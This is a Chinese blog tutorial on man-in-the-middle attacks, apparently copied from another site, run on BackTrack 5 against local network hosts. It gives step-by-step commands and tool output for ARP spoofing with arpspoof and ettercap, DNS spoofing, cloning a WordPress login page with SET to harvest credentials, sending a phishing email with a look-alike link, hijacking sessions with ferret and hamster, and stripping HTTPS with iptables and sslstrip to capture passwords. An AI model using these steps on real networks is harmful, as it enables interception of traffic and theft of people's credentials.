中间人攻击之arp欺骗 科普ARP欺骗
中间人攻击之arp欺骗
科普ARP欺骗
此时若hacker冒充B的MAC,于是A -> hacker。
(1)如何清空A中的ARP Table?不然它一查询,直接发包给B。
- 经过百度:
- ARP Table采用老化机制,某一行一段时间不用就被删除,提速。
- hacker大量发ARP包产生大量ARP通信量使通络堵塞,A就找不到B,A必然会发ARP Request包问:B是谁,
- 此时hacker的伪造包,也就改变了A中的ARP Table。
(2)如何保证在B前响应A的请求查询?
- 因为(1)中已经提到,局域网中充斥着大量hacker伪造B的ARP响应包,B竞争不过hacker,所以hacker会比B更快响应。
科普BT5下arpspoof 和 driftnet 和 wireshark
- A(192.168.0.1) <-> B(192.168.0.109)
- A’s MAC: 00-0C-29-7A-33-66
- B’s MAC: 34-08-04-0B-70-E8
- 192.168.0.108
- hacker’s MAC: 00:0c:29:0a:ab:97
- A -> hacker -> B
- A <- hacker <- B
- echo 1 > /proc/sys/net/ipv4/ip_forword
- #欺骗192.168.0.109,hacker就是192.168.0.1:
- root@bt:~# arpspoof -i eth0 -t 192.168.0.109 192.168.0.1
- #欺骗192.168.0.1,hacker就是192.168.0.109:
- root@bt:~# arpspoof -i eth0 -t 192.168.0.1 192.168.0.109
- driftnet -i eth0
使用wireshark抓取数据包:
- root@bt:~# wireshark
- ip.addr==192.168.0.109 and
- ip.src==192.168.0.109 and
- ip.dst==192.168.0.109
- tcp.port == 80
过滤协议:
- http or telnet
科普DNS欺骗:
- DNS劫持!
- DNS劫持是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能反应或访问的是假网址。
攻击步骤:
1. 采用ettercap,arp 欺骗
- echo 1 > /proc/sys/net/ipv4/ip_forword
- root@bt:~# ettercap -G #启动可视化
- Sniff -> Unified Sniffing
- Eth0 -> OK
- Hosts -> Scan for hosts
- Hosts -> Hosts List
- Add to target1 -> 192.168.0.1 #网关
- Add to target2 -> 192.168.0.111 #受攻击者
- Mitm -> Arp poisoning
- Start -> Start sniffing
在受攻击者中发现已经arp欺骗成功(欺骗192.168.0.111,192.168.0.108是网关192.168.0.1):
2. 修改etter.dns 文件
- root@bt:/usr/share# locate etter.dns
- /usr/local/share/ettercap/etter.dns
- /usr/local/share/videojak/etter.dns
- root@bt:/usr/share# gedit /usr/local/share/ettercap/etter.dns
这么修改:
3. 开始dns+spoof
- ettercap -> Plugins -> Mange the plugins
- 双击 dns_spoof 出现:Activating dns_spoof plugin..
- 等一段时间。。.(十分钟之内吧。。)
4. SET社会工程学攻击
- http://www.xigema-team.org/wp-login.php
- root@bt:~# cd /pentest/exploits/set/
- root@bt:/pentest/exploits/set# ./set
- Select from the menu:
- 1) Social-Engineering Attacks
- 2) Fast-Track Penetration Testing
- 3) Third Party Modules
- 4) Update the Metasploit Framework
- 5) Update the Social-Engineer Toolkit
- 6) Update SET configuration
- 7) Help, Credits, and About
- 99) Exit the Social-Engineer Toolkit
- set> 1
- Select from the menu:
- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Generator Attack Vector
- 10) Powershell Attack Vectors
- 11) Third Party Modules
- 99) Return back to the main menu.
- set> 2
- Select from the menu:
- 1) Java Applet Attack Method
- 2) Metasploit Browser Exploit Method
- 3) Credential Harvester Attack Method
- 4) Tabnabbing Attack Method
- 5) Man Left in the Middle Attack Method
- 6) Web Jacking Attack Method
- 7) Multi-Attack Web Method
- 8) Victim Web Profiler
- 9) Create or import a CodeSigning Certificate
- 99) Return to Main Menu
- set:webattack>3
- The first method will allow SET to import a list of pre-defined web
- applications that it can utilize within the attack.
- The second method will completely clone a website of your choosing
- and allow you to utilize the attack vectors within the completely
- same web application you were attempting to clone.
- The third method allows you to import your own website, note that you
- should only have an index.html when using the import website
- functionality.
- 1) Web Templates
- 2) Site Cloner
- 3) Custom Import
- set:webattack>2
- [-] Credential harvester will allow you to utilize the clone capabilities within SET
- [-] to harvest credentials or parameters from a website as well as place them into a report
- [-] This option is used for what IP the server will POST to.
- [-] If you’re using an external IP, use your external IP for this
- set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.108
- [-] SET supports both HTTP and HTTPS
- [-] Example: http://www.thisisafakesite.com
- set:webattack> Enter the url to clone:http://www.xigema-team.org/wp-login.php
- [*] Cloning the website: http://www.xigema-team.org/wp-login.php
- [*] This could take a little bit…
- The best way to use this attack is if username and password form
- fields are available. Regardless, this captures all POSTs on a website.
- [!] I have read the above message.
- Press <return> to continue
- [*] Social-Engineer Toolkit Credential Harvester Attack
- [*] Credential Harvester is running on port 80
- [*] Information will be displayed to you as it arrives below:
- 在网站克隆的时候,需要注意点就是,大网站如gmail.com,mail.qq.com直接clone会失败。
- 因为这些网站的js代码会探测是否是正常环境并跳转链接。.。
- 如果手工下载网页,对JS代码做一些修改。。
- 盗密码果然需要麻烦一些:内网+改页面代码。。
- 当然,BT5也集成了5个模板:gmail,facebook,twitter,google,java required(这是啥?)
- 可是使用gmail的时候,竟然因为cookie被禁用而error,其实不是cookie被禁用,而是里面有一段保护的js代码!
- Select from the menu:
- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Generator Attack Vector
- 10) Powershell Attack Vectors
- 11) Third Party Modules
- 99) Return back to the main menu.
- set> 5
- Social Engineer Toolkit Mass E-Mailer
- There are two options on the mass e-mailer, the first would
- be to send an email to one individual person. The second option
- will allow you to import a list and send it to as many people as
- you want within that list.
- What do you want to do:
- 1. E-Mail Attack Single Email Address
- 2. E-Mail Attack Mass Mailer
- 99. Return to main menu.
- set:mailer>1
- set:phishing> Send email to:xihuanjiechun@qq.com
- 1. Use a gmail Account for your email attack.
- 2. Use your own server or open relay
- set:phishing>1
- set:phishing> Your gmail email address:xihuanjianguo@gmail.com
- Email password:
- set:phishing> Flag this message/s as high priority? [yes|no]:y
- set:phishing> Email subject:change your password from xigema-team.org
- set:phishing> Send the message as html or plain? ‘h’ or ‘p’ [p]:h
- set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:<a>www.xigema-term.org/wp-login.php</a> change your password!
- Next line of the body: ^C
- [*] SET has finished sending the emails
邮件收到:
中间人攻击之会话劫持
科普会话劫持
科普hamster的攻击流程
- root@bt:~# locate hamster
1. 先用ettercap进行ARP欺骗
2. 开启wireshark,抓包,保存为pcap
3. ferret 分析包
- root@bt:/pentest/sniffers/hamster# ./ferret -r /root/Desktop/baidu.pcap
它就创建一个叫hamster.txt的文件,以便hamster进行真正的会话劫持~
- root@bt:/pentest/sniffers/hamster# ls
- favicon.ico ferret hamster hamster.css hamster.js hamster.txt
4.配置网络代理
- firefox -> edit -> preferences -> Advanced -> Network -> Connection Setting
- 配置为1234端口监听
如下图所示:
5. hamster 发起会话劫持
- 遇到gmail又一次失败,连接不到服务器!
- 换成百度网盘则成功,这里我猜想,gmail不全是靠cookie验证~
- 而且,即使我们的受攻击者,关闭了百度网盘,在BT5下,也是劫持成功的!
中间人攻击之SSL会话劫持
科普SSL会话
- How does this work?
- First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
- At this point, sslstrip receives the traffic and does its magic.
其实就是在进行HTTPS之前,把它换成HTTP连接,此时就明文探测到了用户名和密码!
科普SSLstripg攻击流程:
1.开启路由转发功能
- root@bt:~# echo “1″ > /proc/sys/net/ipv4/ip_forward
吐槽:
- 这个太坑爹了,每次重启都得来一次。以为它是固定的,然后出错了,各种没头绪呢,网上的资料太少了。
- 大家每次重启后,一定要记得开启啊!!
2.设置iptables
- root@bt:/pentest/web/sslstripiptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
前面都是固定的,后面–to-ports 加个端口即可!
- 如此一来,就把受攻击机上的来自80端口的流量全部导入10000端口,此时,受攻击机器,应该是上不了网的。
- 但是可以ping 通。
3.SSLstrip 监听 10000端口
- root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
这里把记录放入/pentest/web/sslstrip/log.txt中,在里面查看用户名和密码即可。
- -l 是监听
- -p 是只记录SSL PORT的内容
4. log.txt获取gmail用户名,密码
- root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
- sslstrip 0.9 by Moxie Marlinspike running…
- Unhandled Error
- Traceback (most recent call last):
- File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 84, in callWithLogger
- return callWithContext({“system”: lp}, func, *args, **kw)
- File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 69, in callWithContext
- return context.call({ILogContext: newCtx}, func, *ar
这个东西出错了没关系,照样能获取密码!!!
摘自http://www.backlion.com/%E5%88%9D%E6%8E%A2mitm%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/
中间人攻击之arp欺骗 科普ARP欺骗的更多相关文章
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- 中间人攻击工具ettercap
中间人攻击工具ettercap (一).简介 (二).模块划分 1.Snifer 2.MITM 3.Filter 4.Log 5.Plugin (三).特性 (四).用户操作界面 (五).指定目标 ( ...
- 中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- Linux下中间人攻击利用框架bettercap测试
0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...
- ARP欺骗与中间人攻击
前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...
- 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )
一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...
- 中间人攻击——ARP欺骗的原理、实战及防御
1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 A ...
- 【网络编程4】网络编程基础-ARP响应(ARP欺骗之中间人攻击)
arp欺骗->arp响应 ARP 缓存中毒(ARP欺骗) arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址:收到返回消 ...
- ARP欺骗与MITM(中间人攻击)实例
ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析 ...
随机推荐
- eplice下载地址
http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/kepler/R/eclips ...
- 安卓数据存储(3):SQLite数据库存储
SQLite简介 Google为Andriod的较大的数据处理提供了SQLite,他在数据存储.管理.维护等各方面都相当出色,功能也非常的强大.SQLite具备下列特点: 1.轻量级:使用 SQLit ...
- Linux云主机安装JDK,配置hadoop的详细方式
云主机我使用的是青云的,还有好多其他品牌,比如阿里云 unitedstack 等等. 注册完青云后,会有试用券发到账户,可以利用此券试用其服务. 1 首先创建好一个主机,按照提示选择好系统,创建好一个 ...
- ABI Management
官方文档:https://developer.android.com/ndk/guides/abis.html?hl=is 关于支持指令集,在上表官方文档都表达清楚了.我们认为避免多个指令集浪费资源. ...
- VS2010配置目录,解决:error MSB6006: “CL.exe”已退出,代码为 5问题
配置属性->VC++目录 可执行文件目录:$(VCInstallDir)bin;$(WindowsSdkDir)bin\NETFX 4.0 Tools;$(WindowsSdkDir)bin;$ ...
- Android从服务端获取json解析显示在客户端上面
Android从服务端获取json解析显示在客户端上面 百度经验:jingyan.baidu.com 首先说一下Json数据的最基本的特点,Json数据是一系列的键值对的集合,和XML数据来比,Jso ...
- 01_C语言基础
内容提要: 1. C语言概述2. 数据类型.运算符与表达式3. C语言程序结构 4. VC6.0使用练习 知识详解01:C语言的历史 1. C语言与其它语言比较 汇编语言: (1).可直接对硬件进行操 ...
- PHP AOP
看到一篇好文,果断收藏 点击打开链接http://www.cnblogs.com/afritxia2008/archive/2010/07/03/1770427.html
- 网站开发常用jQuery插件总结(六)关键词说明插件cluetip
我们开发的网站,总有它一定的用途.如企业站用来宣传企业或展示产品,技术站用来分享自己的思路和经验.既然网站有了它的用途,那么就拥有了它本身的关键词(关键词说明网站的主要内容).例如企业站的关键词大部分 ...
- MarkDown教程
MarkDown笔记 在线编辑器其他教程 [1.标题] 标题1 标题1=== 标题2 标题2--- 标题3 1 2 3 4 5 6 7 7 #1 ##2 ###3 ####4 #####5 ##### ...